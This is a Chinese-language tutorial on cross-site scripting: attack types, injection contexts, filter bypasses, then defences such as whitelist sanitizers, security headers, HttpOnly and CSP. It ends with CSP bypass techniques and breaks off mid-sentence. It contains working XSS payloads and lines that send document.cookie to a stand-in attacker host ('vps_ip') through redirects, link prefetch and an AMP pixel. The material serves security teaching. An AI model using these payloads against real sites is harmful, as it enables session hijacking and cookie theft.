XSS的原理、利用方式及防护

XSS 原理

XSS 攻击是指,通过执行恶意脚本,以实现窃取用户登陆态、劫持会话等目的的攻击方式。恶意脚本的输入源有,Cookies、Post 表单、Get 请求、HTTP 头内容等。通常,我们将一段 XSS 攻击的代码片段称之为 XSS 向量。

常见的 XSS 攻击类型有:

  • 反射型 XSS 。直接将 XSS 向量拼接在 URL 中,诱导用户点击。
  • 存储型 XSS 。通过表单,将 XSS 向量提交到数据库。当页面展示数据时,执行 XSS 向量。
  • DOM Based XSS 。通过修改浏览页面的 DOM ,绕过防御规则,执行恶意脚本,达到攻击目的。

基础的payload就这几种见如下表(当然还有很多,这里列出部分)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<script>alert(1)</script>
<img scr=1 onerror=alert(1)>
<svg onload=alert(1)/>
<a href=javascript:alert(1)>xss</a>
.....

插入超链接
<a href="https://www.baidu.com/">Click Me</a>
则有<a href="javascript:prompt(document.cookie)">a</a>

插入图片
<img src="https://www.baidu.com/1.png" alt="Click Me">
则有<img src="https://example.com" onerror=alert(1)>

反射型XSS

脚本通过用户提交执行,并没有写入数据库,所以是非持续的,只有提交了相应的url,才会执行javascript脚本。 例如:

1
2
3
<?php
    echo $_ GET['test'];
?>

访问:

1
127.0.0.1/test/xss.php?test=<script>alert(1)</script>

会发现代码被直接输出并被浏览器解析,弹出了一个弹窗

储存型XSS

通过某种方式将js代码写入数据库中,并在输出界面输出,达到执行js代码的效果。

最常见的例子是留言板,有的留言板不加过滤,就可以将js代码写入到数据库中,就可以通过这个留言板界面盗取用户的cookie,甚至一些更严重的事。

XSS常见场景

XSS依赖输出,所以找到输出位置是很重要的,可以输入后查看源代码找找位置

  • HTML标签之间,如出现在<div>[输出]/</div>的位置上

当遇到一些优先级较高的html标签或者在标签中,如<textarea></textarea><title></title><iframe></iframe>等等,就要先闭合相应的标签,再插入js代码。

  • HTML标签之内,如出现在 <input value='[输出]'/> 的位置上

可以闭合标签,事件触发或者用伪协议的方式执行js代码

1
2
3
4
5
6
/>
<script>alert(1);</script>
<input value=
clickmouse=alert(1) x=
javascript:alert(1)//
data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=
  • 成为JavaScript代码的值,在<script>var a='[输出];'</script>的位置上

闭合标签、直接引用代码中的变量。

1
2
3
;</script><script>alert(1);</script><script>a=
";alert(1);//
</script><script>alert(1)//
  • 成为CSS代码的值,出现在<style>body{color:[输出];}</style>的位置上

常存在于ie中

1
1;xss:expression(if(!window.x){alert(1);window.x=1;})
  • 文件上传xss

文件上传当中,修改后缀名为.html.htm然后在文件内容当中插入XSS代码

–在进行文件上传时进行抓包

–修改数据包当中文件后缀为html或者htm

–在文件内容当中插入XSS语句

–放包,观察弹窗

也可以在svg写入xss(若网站支持svg格式的文件进行上传的话,可以上传带有XSS的svg文件)

图片也可以写入xss代码(使用exiftool)

XSS的绕过

  • **宽字节注入 **%bf\、%df、%81

  • CRLF注入——利用\r\n在http响应头注入回车换行符,并注入X-XSS-Protection: 0

  • Referer同源策略——添加Referer,同源站点有的XSS-Filter不过滤

  • 特殊字符绕过——/代替空格、反引号`代替括号

  • 编码绕过——JavaScript(unicode)编码、HTML实体编码

  • 标签绕过

    假如所有HTML标签都被过滤,可以尝试自定义标签来进行绕过。

    锚点:#可以迅速定位到某个id,或者class的位置,只要能让锚点指向到我们自定义标签,然后在自定义标签当中写入onfocus事件就可以直接完成XSS。

    1. 首先写入一个自定义标签的XSS,注意标注id值,与tabIndex的值

      1
      
      <qweasd id='qweasd' onfocus=alert(1) tabIndex=1>
      

      tabIndex的作用见:tabindex - HTML(超文本标记语言) | MDN (mozilla.org),主要目的是让自定义标签获得focus

    2. 在GET请求最后追加上锚点+id值,直接进行访问即可。

      1
      
      https://xxxxx.com?id=<qweasd id='qweasd' onfocus=alert(1) tabIndex=1>#qweasd
      

      假如是存储型XSS可以直接进行加上锚点访问。

    解决方案:禁止<>的输入或者进行HTML编码

XSS的防护

防御 XSS 攻击,主要是对文本内容进行 XSS Filter,阻止恶意脚本的执行。

XSS 过滤主要有两种模式:黑名单和白名单。

  • 基于黑名单的 XSS 过滤,将转义或移除黑名单中的标签和属性。
  • 基于白名单的 XSS 过滤,仅允许白名单中的标签和属性存在,其他全部转义或移除。

由于 XSS 的复杂多变,无法穷举全部 XSS 攻击向量,基于黑名单的 XSS Filter 不够安全。而基于白名单的 XSS Filter ,需要穷举允许的全部标签和属性,配置繁琐。这也是为什么 XSS 如此泛滥的原因:没有一个能低成本实施、对用户输入无影响的 XSS 防御方案。

另外一种预防的方式就是阻止恶意脚本的执行。也就是允许恶意脚本存在,但是不允许其执行。例如,在 Vuejs 中,v-text 指令会将 XSS 向量展示在页面上,不执行 XSS 向量,也就不会触发攻击行为。但是,当允许用户输入样式时,我们会使用 v-html 指令将用户输入的内容显示在页面上。这就可能导致 XSS 攻击。我们需要进一步的防御措施。

  1. 前后端穷举有限标签和属性,进行白名单过滤

  2. 后端转义存储,前端展示时,进行黑名单过滤

    实际上,普通用户不会输入 XSS 向量,而攻击者可以很轻松地使用 Postman 或 Burp Suite 进行安全测试。第二种思路是,完全不信任数据输入,但又不能破坏用户数据。于是,直接将用户输入的数据转义入库,然后反转义输出,保证数据库中的内容是可信任的。展示数据时,前端对展示的内容进行基于黑名单的过滤,推荐使用 js-xss 。

    适用场景:对输入标签范围不定,富文本编辑功能复杂。

HTTP头防护

设置以下的响应头

  • X-XSS-Protection

    1
    2
    3
    
    通过设置其值为1,启用浏览器的XSS防护,浏览器会做出下面的措施:
    自动关闭或过滤掉潜在的XSS攻击脚本:浏览器会检测响应内容是否包含恶意脚本,并自动关闭或过滤掉这些脚本,防止它们被执行。
    重定向到安全页面:如果浏览器检测到具有潜在XSS威胁的内容,它可能会将用户重定向到一个更安全的页面,以防止攻击脚本的执行。
    
  • X-Download-Options

    1
    
    通过设置其值为noopen,使得浏览器下载文件时不自动打开,不关联下载文件和浏览器内嵌程序。这样可以防止一些特定类型的文件(例如html、pdf等)被当作网页打开,降低XSS攻击的风险。
    
  • X-Content-Type-Options

    1
    
    通过设置X-Content-Type-Options头的值为"nosniff",可以防止浏览器将响应内容以错误的方式解析,减少了XSS攻击的风险。
    
  • X-Frame-Options

    1
    
    通过设置X-Frame-Options头,可以阻止通过嵌入iframe或frame的方式进行点击劫持攻击。可以设置该头的值为"DENY","SAMEORIGIN"或"ALLOW-FROM <域名>"。
    
  • Content Security Policy(CSP)(meta标签等)

    1
    
    通过设置CSP头,可以限制资源加载的来源,以防止执行不受信任的脚本。CSP可以指定允许的域名、允许的脚本类型以及其他安全策略。
    

HttpOnly

当一个 cookie 设置了 HttpOnly 标志后,浏览器会禁止通过 JavaScript 脚本来读取这个 cookie 的值。这意味着即使有 XSS 攻击成功注入了恶意脚本,也无法从受害者浏览器中获取敏感的 cookie 值,从而有效防止了 cookie 盗取和会话劫持攻击。

但是HttpOnly不能够完全防御XSS,只能减少XSS带来的危害。

CSP同源策略

除了在内容上使用 XSSFilter 进行过滤,还可以使用 HttpOnly、CSP 头部进一步预防 XSS 攻击。

CSP (Content Security Policy) 是用来防御 XSS 的安全策略。CSP 通过白名单控制,仅允许加载指定的资源。这些资源包括 JavaScript, CSS, HTML, Frames, fonts, image, embeddable object, Java applets, ActiveX, audio 和 video 等。

有两种方法可以启用 CSP :

  • 设置 HTTP 头信息的 Content-Security-Policy 字段
  • 在网页添加 <meta> 标签

配置示例:

只允许同源下的资源

1
Content-Security-Policy: default-src 'self';

允许同源以及指定地址的 JS 资源

1
Content-Security-Policy: script-src 'self' www.google-analytics.com ajax.googleapis.com;

多个资源时,后面的会覆盖前面的

1
Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self';

富文本情景下对XSS的防护

富文本环境下,传统的html编码转移与特殊字符过滤是不大可行的。富文本的情况和我们平常遇到的一些 XSS 案例不一样,不是简单的在输出位置做针对性过滤就行的,因为既然提供富文本编辑器,那么肯定是内容需要支持某些标签输入输出,如果 XSS FILTER 直接干掉了标签,会影响到内容的展示,所以有必要对富文本情况拎出来单独处理。

有人说用黑名单处理,过滤掉那些危险的标签,那么你会掉进一个有无限 case 要处理的坑里,暂且不说能把现有的危险标签罗列完整,H5 出来后新增的那些标签特性简直就是噩梦。另外,就算考虑再周到,也要知道这个世界上还有一款浏览器叫做 IE,奇葩的解析方式简直让人防不胜防,完全不按套路出牌。

既然黑名单不适合,那么自然就想到白名单的方式,这是目前来说比较好的防御富文本 XSS 方式。具体工作分以下几个方面:

  • 确定白名单
  • 解析 DOM 树,非白名单直接丢弃

白名单过滤器编写较为麻烦且考虑难免不周到,为了安全性与因此多使用业界成熟的过滤器。

加载失败

服务端过滤(html解析器)

jsoup

jsoup 是一款 Java 的 HTML 解析器,可直接解析某个 URL 地址、HTML 文本内容。它提供了一套非常省力的 API,可通过 DOM、CSS 以及类似于 JQuery 的操作方法来取出和操作数据。基于MIT协议发布,可放心用于商业项目。

jsoup内置了一些白名单的标签属性list,同时支持用户自定义,或者在此基础上根据需求灵活扩展。

OWASP Java HTML Sanitizer

OWASP Java HTML Sanitizer 是OWASP(Open Web Application Security Project,开放Web应用程序安全项目)组织开源的一款HTML过滤器,为安全而生,使用起来非常灵活。

其他服务端开发语言过滤组件

.NET:https://github.com/mganss/HtmlSanitizer Golang:https://github.com/microcosm-cc/bluemonday PHP:http://htmlpurifier.org/ Python:https://pypi.python.org/pypi/bleach Django框架(Python):https://github.com/shaowenchen/django-xss-cleaner

前端过滤

js-xss

前端将数据渲染到页面呈现之前,也可以对内容进行一次过滤。这里推荐使用js-xss模块。除了可以在页面里直接引入js使用,同时也支持node.js,当使用node.js做服务端时,也可以参照前面的方案,在数据传入时使用该模块进行过滤。

源码:https://github.com/leizongmin/js-xss 项目主页: http://jsxss.com

标签属性安全使用建议

1、href、src属性需要校验协议 如果未校验,攻击者可以使用javascript:伪协议插入执行恶意的js代码。

2、什么情况a标签要加rel=”nofollow”属性?

这个属性的意思是告诉搜索引擎不要追踪此链接。如果A网页上有一个链接指向B网页,但A网页给这个链接加上了rel=”nofollow” 标注,那么搜索引擎不会把A网页计算入B网页的反向链接。搜索引擎看到这个属性就会取消链接的投票权重。

简单来讲,有些搞SEO的人,会在各大网站插入很多带有超链接的垃圾信息,如果强制加了rel=“nofollow”属性,搜索引擎爬到了,也不会给对方增加权重。这样搞恶意SEO的人,就没兴趣在你的网站里插垃圾信息了。

所以要不要加这个属性,取决于你的业务是否需要防止上述情形。

3、哪些属性被认为是安全的?

1
align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width.

以上是OWASP整理的安全属性,可以放心使用。参考: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html

4、iframe标签安全使用建议

建议不要使用,如果一定要用,可以通过下面几个方式降低风险:

  • src属性必须校验协议,限制http和https,同时进行url白名单正则校验,限制内容为可信域名,防止攻击者插入恶意页面。
  • 固定长宽,或限制最大长宽,防止子页面覆盖父页面。
  • 使用沙箱(sandbox)机制,遵循权限最小化原则配置相应选项满足业务需求。

sandbox 详细可参考 iframe特性全解读: https://zhuanlan.zhihu.com/p/88809313 sandbox 属性:https://www.bookstack.cn/read/html-tutorial/spilt.2.docs-iframe.md

5、style属性,建议不要使用。

原因参考:基于css注入的向量https://html5sec.org/#css 如果需要支持用户控制样式,建议使用class属性,针对不同的值提前定好对应的样式。

实在非要使用style属性的话,那就自己把属性值提取出来,解析后再做一层白名单过滤吧(如果写不好,会存在绕过的可能)。

6、script标签严禁用户插入,这个相信不用解释了。

其他常见场景、对应问题和解决方案

1、富文本内容被WAF(Web应用防火墙)拦截

有些公司的WAF规则比较严格,对请求中包含某些标签内容的,会直接判定为攻击,进行拦截。

通常WAF是站在企业整体安全的角度去做防护的,不能因为业务的某一个功能点,去降低整体的防护能力。这时,可以考虑使用以下方案去满足业务需求:

加载失败

图中蓝色线条是在原有常规方案基础上的改动。即在前端解析富文本内容的DOM树,转换为json格式,之后提交给服务端,服务端进行白名单过滤。

html和json的转换,可以考虑使用类似html2json功能的组件来实现: https://github.com/Jxck/html2json

注意,这种方案绕过了WAF的防护,请务必保证白名单策略的安全!请务必保证白名单策略的安全!请务必保证白名单策略的安全!

2、内容来自文件导入

有的业务场景,需要从文件批量导入内容,并且内容还要支持富文本,流程如下:

加载失败

这种场景下,可以在服务端提取到内容后对富文本内容进行白名单过滤,之后再进行持久化存储。对于业务上不需要支持富文本的字段,直接按照传统XSS的防护方案进行特殊字符转义就好。

CSP的绕过

参考文章

1
https://xz.aliyun.com/t/5084?time__1311=n4%2BxnD07iti%3DFq7q7KDsA3xCqobFDBGD9QEhYD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F12890%3Ftime__1311%3Dmqmhq%252BxjhiGKDsD7GY0%253DdnDWw1Y5C9eD%26alichlgref%3Dhttps%253A%252F%252Fwww.google.com.hk%252F#toc-0

CSP的绕过从CSP的诞生开始就一直被前端的安全研究人员所热衷,本文总结一些我了解到的CSP的绕过方式,若有不足,敬请批评补充

location.href

CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法,虽然比较容易被发现,但是在大部分情况下对于我们已经够用 当我们已经能够执行JS脚本的时候,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上

1
location.href = "vps_ip:xxxx?"+document.cookie

有人跟我说可以跳过去再跳回来,但是这样不是会死循环一直跳来跳去吗2333333 利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

link标签导致的绕过

这个方法其实比较老,去年我在我机器上试的时候还行,现在就不行了 因为这个标签当时还没有被CSP约束,当然现在浏览器大部分都约束了此标签,但是老浏览器应该还是可行的。 所以我们可以通过此标签将数据带外

1
2
3
4
5
<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}">

当然这个是我们写死的标签,如何把数据带外?

1
2
3
4
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

这样就可以把cookie带外了 利用条件:

  1. 可以执行任意JS脚本,但是由于CSP无法数据带外

使用Iframe绕过

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效 A页面:

1
2
3
4
<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>

B页面:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<!-- B页面 -->

<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

setTimeout是为了等待iframe加载完成 利用条件:

  1. 一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞
  2. 我们需要的数据在存在CSP保护的页面

用CDN来绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险 这里给出orange师傅绕hackmd CSP的文章Hackmd XSS 案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下

1
2
3
4
5
6
7
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
    {{constructor.constructor('alert(document.cookie)')()}}
</div>

这个是存在低版本angular js的cdn服务商列表 https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76 除了低版本angular js的模板注入,还有许多库可以绕过CSP 下面引用https://www.jianshu.com/p/f1de775bc43e 如果用了Jquery-mobile库,且CSP中包含"script-src ‘unsafe-eval’“或者"script-src ‘strict-dynamic’",可以用此exp

1
<div data-role=popup id='<script>alert(1)</script>'></div>

还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie

1
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>

blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库 https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf 利用条件:

  1. CDN服务商存在某些低版本的js库
  2. 此CDN服务商在CSP白名单中

站点可控静态资源绕过

给一个绕过codimd的(实例)codimd xss 案例中codimd的CSP中使用了www.google-analytics.com 而www.google.analytics.com中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP

1
2
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com">
<script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>

同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过 利用条件:

  1. 站点存在可控静态资源
  2. 站点在CSP白名单中

站点可控JSONP绕过

JSONP的详细介绍可以看看我之前的一篇文章https://xz.aliyun.com/t/4470 大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析 以ins’hack 2019/的bypasses-everywhere这道题为例,题目中的csp设置了www.google.com

1
2
3
参考文献
xss 向量大全
https://html5sec.org/